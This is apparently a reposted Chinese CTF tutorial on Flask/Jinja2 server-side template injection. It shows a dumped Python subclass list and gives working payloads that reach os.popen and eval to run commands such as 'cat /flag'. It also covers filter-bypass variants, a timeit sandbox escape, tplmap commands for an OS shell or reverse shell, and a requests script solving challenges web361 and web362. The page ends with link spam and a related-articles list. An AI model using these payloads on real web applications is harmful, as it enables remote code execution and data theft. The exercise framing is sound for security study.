'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'werkzeug.test.Cookie'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'platform._Processor'>, <class 'uuid.UUID'>, <class 'flask.json.provider.JSONProvider'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.routing.converters.BaseConverter'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.rules.RulePart'>, <class 'werkzeug.routing.rules.RuleFactory'>, <class 'werkzeug.routing.rules.RuleTemplate'>, <class 'werkzeug.routing.matcher.State'>, <class 'werkzeug.routing.matcher.StateMachineMatcher'>, <class 'werkzeug.routing.map.Map'>, <class 'werkzeug.routing.map.MapAdapter'>, <class '_csv.reader'>, <class '_csv.writer'>, <class '_csv.Dialect'>, <class 'csv.Dialect'>, <class 'csv.DictReader'>, <class 'csv.DictWriter'>, <class 'csv.Sniffer'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'configparser.Interpolation'>, <class 'importlib.metadata.FileHash'>, <class 'importlib.metadata.Distribution'>, <class 'importlib.metadata.DistributionFinder.Context'>, <class 'importlib.metadata.FastPath'>, <class 'importlib.metadata.Prepared'>, <class 'blinker._utilities.Symbol'>, <class 'blinker.base.Signal'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils._MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'flask.sansio.scaffold.Scaffold'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous._json._CompactJSON'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.sansio.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>]!

SSTI注入中,需要找到合适的类,然后从合适的类中寻找需要的方法。通过在如上这么多类中一个一个查找,找到可利用的类,这里举例一种。<class 'os._wrap_close'>,os命令。正是要从这个类中寻找可利用的方法,通过大概猜测找到是第119个类,0也对应一个类,所以这里写[118]。(这里是python2的子类的位置)

"".__class__.__bases__[0].__subclasses__()[118]

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[142]}}

python3.11版本的<class 'os._wrap_close'>位于类的142位。

这个时候可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[142].__init__.__globals__}}

此时可以在网页上看到各种各样的参数方法函数。找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法,详情可百度了解。

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[142].__init__.__globals__['popen']('dir').read()}}

此时便可以看到命令已经执行。如果是在linux系统下便可以执行其他命令。此时已经成功得到权限。       

ctf中的一些绕过tips

没什么系统思路。就是不断挖掘类研究官方文档以及各种能够利用的姿势。这里从最简单的绕过说起。

1.过滤[]等括号

使用gititem绕过。如原poc {{"".**class**.**bases**[0]}}

绕过后{{"".**class**.**bases**.**getitem**(0)}}

2.过滤了subclasses,拼凑法

原poc{{"".**class**.**bases**[0].**subclasses**()}}

绕过 {{"".**class**.**bases**[0]['**subcla'+'sses**'](https://xz.aliyun.com/t/3679?time__1311=n4%2Bxnii%3DoGqmqDK0QDODlx6e0%3Dbox40KwiAvd4x)}}

3.过滤class

使用session

poc {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

{{session['__cla'+'ss__'].__mro__[12]}}

或者

request['__cl'+'ass__'].__mro__[12]}}

4.timeit姿势

可以学习一下 2017 swpu-ctf的一道沙盒python题,

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)import platform
print platform.popen('dir').read()

5.poc

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

P师傅的 https://p0sec.net/index.php/archives/120/

漏洞挖掘

每一个(重)模板引擎都有着自己的语法(点),Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,不同的引擎不同的解析。所以在挖掘之前有必要对网站的web框架进行检查,否则很多时候{{}}并没有用,导致错误判断。

SSTI自动化工具tplmap的使用:

安装:

git clone https://github.com/epinna/tplmap

cd tplmap

sudo pip2 install -r requirements.txt

操作命令

#探测注入点
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag'

#获取shell
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell

--os-shell                          Run shell on the target
--os-cmd                            Execute shell commands
--bind-shell PORT                   Connect to a shell bind to a target port
--reverse-shell HOST PORT   Send a shell back to the attacker's port
--upload LOCAL REMOTE       Upload files to the server
--download REMOTE LOCAL     Download remote files

web361

根据提示,name是该题目的ssti的注入点

SSTI做题步骤:

由于我们不知道python的版本,所以首先要测出题目python对应的版本在全部类下我们需要的子类的位置。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[142]}}

然后我们可以调用相应的读取flag的方法去读取flag,在题目中会增加各种过滤的方法,我们需要在基础查询语句的基础上去增加相应的形式去绕过payload。

import requestsurl = "http://764c8b77-1562-43e8-aa3e-124fd33e38aa.challenge.ctf.show/"payload = "name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}"payload = "name=%7B%7B%22%22%2E%5F%5Fclass%5F%5F%2E%5F%5Fmro%5F%5F%5B1%5D%2E%5F%5Fsubclasses%5F%5F%28%29%5B132%5D%2E%5F%5Finit%5F%5F%2E%5F%5Fglobals%5F%5F%5B%27popen%27%5D%28%27cat%20%2Fflag%27%29%2Eread%28%29%7D%7D"msg = requests.get(url, payload)
print(msg.url)
flag = msg.text
print(flag)

对payload进行url编码后,再进行get发送,原因是发送过去后会进行一次解码,造成空字符串消失,导致payload失效。

方法二:使用tqlmap工具

web362

经过测试,在前面查询代码全部类的payload中不存在过滤,在具体开始查询子类时出现了对数字的过滤。即对__subclasses__()[a] 函数后a的值进行了过滤。

"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()

经过测试是对2,3这两个数字进行了过滤。

绕过方法:

可通过未被过滤的数字构造出132这个数字

132 = 11*11+11 无法绕过
这种请求服务器内部无法识别,因而计算不能执行。

11*11%2b+11 这样就可以绕过 (?)(对于加号,要在进行url传参时进行URL编码,否则服务器无法识别)

{{%22%22.__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__['popen']("cat /flag").read()}}

URL编码的形式应该在python端进行上传,不然在过滤的部分出现了2,3数字无法通过。


文章转载自:

http://oqto0YAe.ppLLj.cn
http://rCGAhUrB.ppLLj.cn
http://sslmwSA8.ppLLj.cn
http://KTltNVGU.ppLLj.cn
http://r2UwcVNY.ppLLj.cn
http://fIi0YmAX.ppLLj.cn
http://UzrqgOCy.ppLLj.cn
http://O3zmtexE.ppLLj.cn
http://4kjelw5Q.ppLLj.cn
http://Q50E1kU0.ppLLj.cn
http://wWLGnfFc.ppLLj.cn
http://Rt4xSWdT.ppLLj.cn
http://nwYisjwu.ppLLj.cn
http://d0QU5SpZ.ppLLj.cn
http://XQW8NkOs.ppLLj.cn
http://nDeHG0TU.ppLLj.cn
http://3f5y7HM3.ppLLj.cn
http://n6R9nWeg.ppLLj.cn
http://cOAuOa7g.ppLLj.cn
http://z5MwksFg.ppLLj.cn
http://jRTHuYeN.ppLLj.cn
http://EfYALNfu.ppLLj.cn
http://oR8LO0la.ppLLj.cn
http://Vd0uj7CV.ppLLj.cn
http://eRXk91JN.ppLLj.cn
http://yrdELgSr.ppLLj.cn
http://U1VRpEDe.ppLLj.cn
http://MHc6kbB7.ppLLj.cn
http://E3Jag2DY.ppLLj.cn
http://WgugbarE.ppLLj.cn
http://www.dtcms.com/a/375785.html

相关文章:

  • RHEL 10 更新 rescue kernel
  • Vue3 + Vite + Element Plus web转为 Electron 应用,解决无法登录、隐藏自定义导航栏
  • 记SpringBoot3.x + SpringSecurity6.x之session管理
  • Pinia 两种写法全攻略:Options 写法 vs Setup 写法
  • 项目管理系统高保真原型案例:剖析设计思路与技巧
  • 第2节-过滤表中的行-DELETE
  • 基于AI的未佩戴安全帽检测算法
  • webpack打包方式
  • 第2节-过滤表中的行-WHERE
  • linux内核 - 内核是一个分层的系统
  • 基于Multi-Transformer的信息融合模型设计与实现
  • C# 14 新特性详解
  • Java实战项目演示代码及流的使用
  • BFS在路径搜索中的应用
  • Shell 脚本基础完全指南:语法、调试、运行与实战详解
  • Claude-Flow AI协同开发:钩子系统与 GitHub 集成
  • 食品饮料生产工艺优化中 CC-Link IE FB 转 DeviceNet 协议下西门子 S7-1500 与倍加福流量传感器的应用
  • 清源 SCA 社区版更新(V4.2.0)|漏洞前置感知、精准修复、合规清晰,筑牢软件供应链安全防线!
  • Seaborn库
  • 2031 年达 13.9 亿美元!工业温度控制器市场 CAGR4.2%:技术路径、应用场景与未来机遇全解析
  • sklearn 加州房价数据集 fetch_california_housing 出错 403: Forbidden 修复方案
  • mybatis plus 如何更新参数为空, mybatis plus update方法如何更新参数为null, update()如何设置参数=null
  • Spring Boot 项目新增 Module 完整指南
  • TruckSim与Matlab-Simulink联合仿真(一)
  • virsh常用命令 笔记
  • 中国AI云市场报告:阿里云份额达35.8%,高于2至4名总和
  • 未来海洋变暖对生态环境的影响
  • 《2025年AI产业发展十大趋势报告》四十八
  • Shell 脚本判断
  • 前端工程化资源预加载